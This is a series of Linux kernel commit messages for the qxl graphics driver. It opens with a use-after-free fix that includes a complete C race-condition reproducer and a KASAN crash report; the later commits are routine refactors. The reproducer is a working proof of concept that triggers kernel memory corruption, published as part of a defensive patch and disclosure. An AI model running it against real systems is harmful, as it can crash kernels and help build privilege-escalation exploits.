drm/qxl: fix UAF on handle creation

qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.

A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.

Reproducer:

int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};

void gem_close(int handle);

void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}

printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}

void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}

int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);

if(dri_fd == -1)
return -1;

pthread_t tid1;

if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;
}

This is a KASAN report:

==================================================================
BUG: KASAN: slab-use-after-free in qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
Write of size 1 at addr ffff88801136c240 by task poc/515

CPU: 1 PID: 515 Comm: poc Not tainted 6.3.0 #3
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.0-debian-1.16.0-4 04/01/2014
Call Trace:
<TASK>
__dump_stack linux/lib/dump_stack.c:88
dump_stack_lvl+0x48/0x70 linux/lib/dump_stack.c:106
print_address_description linux/mm/kasan/report.c:319
print_report+0xd2/0x660 linux/mm/kasan/report.c:430
kasan_report+0xd2/0x110 linux/mm/kasan/report.c:536
__asan_report_store1_noabort+0x17/0x30 linux/mm/kasan/report_generic.c:383
qxl_mode_dumb_create+0x3c2/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:69
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7ff5004ff5f7
Code: 00 00 00 48 8b 05 99 c8 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 69 c8 0d 00 f7 d8 64 89 01 48

RSP: 002b:00007ff500408ea8 EFLAGS: 00000286 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff5004ff5f7
RDX: 00007ff500408ec0 RSI: 00000000c02064b2 RDI: 0000000000000003
RBP: 00007ff500408ef0 R08: 0000000000000000 R09: 000000000000002a
R10: 0000000000000000 R11: 0000000000000286 R12: 00007fff1c6cdafe
R13: 00007fff1c6cdaff R14: 00007ff500408fc0 R15: 0000000000802000
</TASK>

Allocated by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_alloc_info+0x1e/0x40 linux/mm/kasan/generic.c:510
____kasan_kmalloc linux/mm/kasan/common.c:374
__kasan_kmalloc+0xc3/0xd0 linux/mm/kasan/common.c:383
kasan_kmalloc linux/./include/linux/kasan.h:196
kmalloc_trace+0x48/0xc0 linux/mm/slab_common.c:1066
kmalloc linux/./include/linux/slab.h:580
kzalloc linux/./include/linux/slab.h:720
qxl_bo_create+0x11a/0x610 linux/drivers/gpu/drm/qxl/qxl_object.c:124
qxl_gem_object_create+0xd9/0x360 linux/drivers/gpu/drm/qxl/qxl_gem.c:58
qxl_gem_object_create_with_handle+0xa1/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:89
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

Freed by task 515:
kasan_save_stack+0x38/0x70 linux/mm/kasan/common.c:45
kasan_set_track+0x25/0x40 linux/mm/kasan/common.c:52
kasan_save_free_info+0x2e/0x60 linux/mm/kasan/generic.c:521
____kasan_slab_free linux/mm/kasan/common.c:236
____kasan_slab_free+0x180/0x1f0 linux/mm/kasan/common.c:200
__kasan_slab_free+0x12/0x30 linux/mm/kasan/common.c:244
kasan_slab_free linux/./include/linux/kasan.h:162
slab_free_hook linux/mm/slub.c:1781
slab_free_freelist_hook+0xd2/0x1a0 linux/mm/slub.c:1807
slab_free linux/mm/slub.c:3787
__kmem_cache_free+0x196/0x2d0 linux/mm/slub.c:3800
kfree+0x78/0x120 linux/mm/slab_common.c:1019
qxl_ttm_bo_destroy+0x140/0x1a0 linux/drivers/gpu/drm/qxl/qxl_object.c:49
ttm_bo_release+0x678/0xa30 linux/drivers/gpu/drm/ttm/ttm_bo.c:381
kref_put linux/./include/linux/kref.h:65
ttm_bo_put+0x50/0x80 linux/drivers/gpu/drm/ttm/ttm_bo.c:393
qxl_gem_object_free+0x3e/0x60 linux/drivers/gpu/drm/qxl/qxl_gem.c:42
drm_gem_object_free+0x5c/0x90 linux/drivers/gpu/drm/drm_gem.c:974
kref_put linux/./include/linux/kref.h:65
__drm_gem_object_put linux/./include/drm/drm_gem.h:431
drm_gem_object_put linux/./include/drm/drm_gem.h:444
qxl_gem_object_create_with_handle+0x151/0x180 linux/drivers/gpu/drm/qxl/qxl_gem.c:100
qxl_mode_dumb_create+0x1cd/0x400 linux/drivers/gpu/drm/qxl/qxl_dumb.c:63
drm_mode_create_dumb linux/drivers/gpu/drm/drm_dumb_buffers.c:96
drm_mode_create_dumb_ioctl+0x1f5/0x2d0 linux/drivers/gpu/drm/drm_dumb_buffers.c:102
drm_ioctl_kernel+0x21d/0x430 linux/drivers/gpu/drm/drm_ioctl.c:788
drm_ioctl+0x56f/0xcc0 linux/drivers/gpu/drm/drm_ioctl.c:891
vfs_ioctl linux/fs/ioctl.c:51
__do_sys_ioctl linux/fs/ioctl.c:870
__se_sys_ioctl linux/fs/ioctl.c:856
__x64_sys_ioctl+0x13d/0x1c0 linux/fs/ioctl.c:856
do_syscall_x64 linux/arch/x86/entry/common.c:50
do_syscall_64+0x5b/0x90 linux/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x72/0xdc linux/arch/x86/entry/entry_64.S:120

The buggy address belongs to the object at ffff88801136c000
which belongs to the cache kmalloc-1k of size 1024
The buggy address is located 576 bytes inside of
freed 1024-byte region [ffff88801136c000, ffff88801136c400)

The buggy address belongs to the physical page:
page:0000000089fc329b refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x11368
head:0000000089fc329b order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfffffc0010200(slab|head|node=0|zone=1|lastcpupid=0x1fffff)
raw: 000fffffc0010200 ffff888007841dc0 dead000000000122 0000000000000000
raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected

Memory state around the buggy address:
ffff88801136c100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c180: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801136c200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88801136c280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88801136c300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
Disabling lock debugging due to kernel taint

Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.

The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

Link: https://www.zerodayinitiative.com/
Signed-off-by: Wander Lairson Costa <wander@redhat.com>
Cc: stable@vger.kernel.org
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814165119.90847-1-wander@redhat.com

drm/qxl: use ttm bo priorities

Allow to set priorities for buffer objects. Use priority 1 for surface
and cursor command releases. Use priority 0 for drawing command
releases. That way the short-living drawing commands are first in line
when it comes to eviction, making it *much* less likely that
ttm_bo_mem_force_space() picks something which can't be evicted and
throws an error after waiting a while without success.

Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
Acked-by: Thomas Zimmermann <tzimmermann@suse.de>
Link: http://patchwork.freedesktop.org/patch/msgid/20210217123213.2199186-4-kraxel@redhat.com

drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked

Spelling out _unlocked for each and every driver is a annoying.
Especially if we consider how many drivers, do not know (or need to)
about the horror stories involving struct_mutex.

Just drop the suffix. It makes the API cleaner.

Done via the following script:

__from=drm_gem_object_put_unlocked
__to=drm_gem_object_put
for __file in $(git grep --name-only $__from); do
sed -i "s/$__from/$__to/g" $__file;
done

Cc: Dave Airlie <airlied@redhat.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: David Airlie <airlied@linux.ie>
Signed-off-by: Emil Velikov <emil.velikov@collabora.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
Acked-by: Gerd Hoffmann <kraxel@redhat.com>
Acked-by: Thomas Zimmermann <tzimmermann@suse.de>
Link: https://patchwork.freedesktop.org/patch/msgid/20200515095118.2743122-29-emil.l.velikov@gmail.com

drm/qxl: Don't use drm_device->dev_private

Upcasting using a container_of macro is more typesafe, faster and
easier for the compiler to optimize.

Acked-by: Gerd Hoffmann <kraxel@redhat.com>
Acked-by: Sam Ravnborg <sam@ravnborg.org>
Signed-off-by: Daniel Vetter <daniel.vetter@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: virtualization@lists.linux-foundation.org
Cc: spice-devel@lists.freedesktop.org
Link: https://patchwork.freedesktop.org/patch/msgid/20200415074034.175360-28-daniel.vetter@ffwll.ch

drm/qxl: use embedded gem object

Drop drm_gem_object from qxl_bo, use the
ttm_buffer_object.base instead.

Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
Acked-by: Christian König <christian.koenig@amd.com>
Link: http://patchwork.freedesktop.org/patch/msgid/20190805140119.7337-4-kraxel@redhat.com

drm/qxl: drop use of drmP.h

Drop use of the deprecated drmP.h header file.
While touching the files divided includes in blocks,
and when needed sort the blocks.
Fix fallout.

Signed-off-by: Sam Ravnborg <sam@ravnborg.org>
Acked-by: Gerd Hoffmann <kraxel@redhat.com>
Acked-by: Emil Velikov <emil.velikov@collabora.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: virtualization@lists.linux-foundation.org
Cc: spice-devel@lists.freedesktop.org
Link: https://patchwork.freedesktop.org/patch/msgid/20190630061922.7254-10-sam@ravnborg.org

drm/qxl: Replace ttm_bo_unref with ttm_bo_put

The function ttm_bo_put releases a reference to a TTM buffer object. The
function's name is more aligned to the Linux kernel convention of naming
ref-counting function _get and _put.

A call to ttm_bo_unref takes the address of the TTM BO object's pointer and
clears the pointer's value to NULL. This is not necessary in most cases and
sometimes even worked around by the calling code. A call to ttm_bo_put only
releases the reference without clearing the pointer.

The current behaviour of cleaning the pointer is kept in the calling code,
but should be removed if not required in a later patch.

Signed-off-by: Thomas Zimmermann <tzimmermann@suse.de>
Link: http://patchwork.freedesktop.org/patch/msgid/20180731063559.11629-1-tzimmermann@suse.de
Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>

drm/qxl: Replace drm_gem_object_reference/unreference() with _get/put()

Replace drm_gem_object_reference/unreference function with *_get/put()
suffixes, because it is shorter and consistent with the kernel
kref_get/put() functions. The following Coccinelle script was used:

@@
expression e;
@@

(
-drm_gem_object_reference(e);
+drm_gem_object_get(e);
|
-drm_gem_object_unreference(e);
+drm_gem_object_put(e);
|
-drm_gem_object_unreference_unlocked(e);
+drm_gem_object_put_unlocked(e);
)

Signed-off-by: Santha Meena Ramamoorthy <santhameena13@gmail.com>
Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
Link: https://patchwork.freedesktop.org/patch/msgid/1521570567-22519-1-git-send-email-santhameena13@gmail.com

drm/qxl: fix include notation and remove -Iinclude/drm flag

Include <drm/*.h> instead of relative path from include/drm, then
remove the -Iinclude/drm compiler flag.

Signed-off-by: Masahiro Yamada <yamada.masahiro@socionext.com>
Signed-off-by: Daniel Vetter <daniel.vetter@ffwll.ch>
Link: http://patchwork.freedesktop.org/patch/msgid/1493009447-31524-13-git-send-email-yamada.masahiro@socionext.com

qxl: Remove qxl_bo_init() return value

It's always returning 0, and it's always ignored.

Signed-off-by: Christophe Fergeau <cfergeau@redhat.com>
Acked-by: Frediano Ziglio <fziglio@redhat.com>
Message-id: 20161108091209.25568-6-cfergeau@redhat.com
Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>

drm/qxl: Move main reference counter to GEM object instead of TTM ones

qxl_bo structure has two reference counters, one in the GEM object and
another in the TTM object. The GEM object keep a counter to the TTM object
so when GEM counter reached zero the TTM counter (using qxl_bo_unref) was
decremented. The qxl object is fully freed (both GEM and TTM part are cleaned)
when the TTM counter reach zero.
One issue was that surface idr structure has no owning on qxl_bo objects however
it contains a pointer to qxl_bo object. This caused some nasty race condition
for instance qxl_bo object was reaped even after counter was already zero.
This patch fix these races moving main counter (the one used by qxl_bo_(un)ref)
to GEM object which cleanup routine (qxl_gem_object_free) remove the idr pointer
(using qxl_surface_evict) when the counters are still valid.

Signed-off-by: Frediano Ziglio <fziglio@redhat.com>
Reviewed-by: Dave Airlie <airlied@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>

drm: kill ->gem_init_object() and friends

All drivers embed gem-objects into their own buffer objects. There is no
reason to keep drm_gem_object_alloc(), gem->driver_private and
->gem_init_object() anymore.

New drivers are highly encouraged to do the same. There is no benefit in
allocating gem-objects separately.

Cc: Dave Airlie <airlied@gmail.com>
Cc: Alex Deucher <alexdeucher@gmail.com>
Cc: Daniel Vetter <daniel@ffwll.ch>
Cc: Jerome Glisse <jglisse@redhat.com>
Cc: Rob Clark <robdclark@gmail.com>
Cc: Inki Dae <inki.dae@samsung.com>
Cc: Ben Skeggs <skeggsb@gmail.com>
Cc: Patrik Jakobsson <patrik.r.jakobsson@gmail.com>
Signed-off-by: David Herrmann <dh.herrmann@gmail.com>
Acked-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>

drm/qxl: remove unused object_pin/unpin() helpers

These two helpers are unused. Remove them. They rely on
gem_obj->driver_private, which is set to NULL during setup. As this field
isn't used by the driver, anymore, we can remove this assignment as well.

Signed-off-by: David Herrmann <dh.herrmann@gmail.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>

qxl: allow creation of pre-pinned objects and use for releases.

In order to fix an issue with reservations we need to create the releases
as pre-pinned objects, this changes the placement interface and bo creation
interface to allow creating pinned objects to save nested reservations later.

This is just a stepping stone to main fix which follows to actually fix how
qxl deals with reservations.

Signed-off-by: Dave Airlie <airlied@redhat.com>

drm/qxl: make lots of things static.

/usr/lib/gcc/x86_64-linux-gnu/4.7/include/stddef.h:414:9: sparse: preprocessor token offsetof redefined
include/linux/stddef.h:17:9: this was the original definition
>> drivers/gpu/drm/qxl/qxl_drv.c:49:5: sparse: symbol 'qxl_modeset' was not declared. Should it be static?

Reported-by: kbuild test robot.
Signed-off-by: Dave Airlie <airlied@redhat.com>

drm: add new QXL driver. (v1.4)

QXL is a paravirtual graphics device used by the Spice virtual desktop
interface.

The drivers uses GEM and TTM to manage memory, the qxl hw fencing however
is quite different than normal TTM expects, we have to keep track of a number
of non-linear fence ids per bo that we need to have released by the hardware.

The releases are freed from a workqueue that wakes up and processes the
release ring.

releases are suballocated from a BO, there are 3 release categories, drawables,
surfaces and cursor cmds. The hw also has 3 rings for commands, cursor and release handling.

The hardware also have a surface id tracking mechnaism and the driver encapsulates it completely inside the kernel, userspace never sees the actual hw surface
ids.

This requires a newer version of the QXL userspace driver, so shouldn't be
enabled until that has been placed into your distro of choice.

Authors: Dave Airlie, Alon Levy

v1.1: fixup some issues in the ioctl interface with padding
v1.2: add module device table
v1.3: fix nomodeset, fbcon leak, dumb bo create, release ring irq,
don't try flush release ring (broken hw), fix -modesetting.
v1.4: fbcon cpu usage reduction + suitable accel flags.

Signed-off-by: Alon Levy <alevy@redhat.com>
Signed-off-by: Dave Airlie <airlied@redhat.com>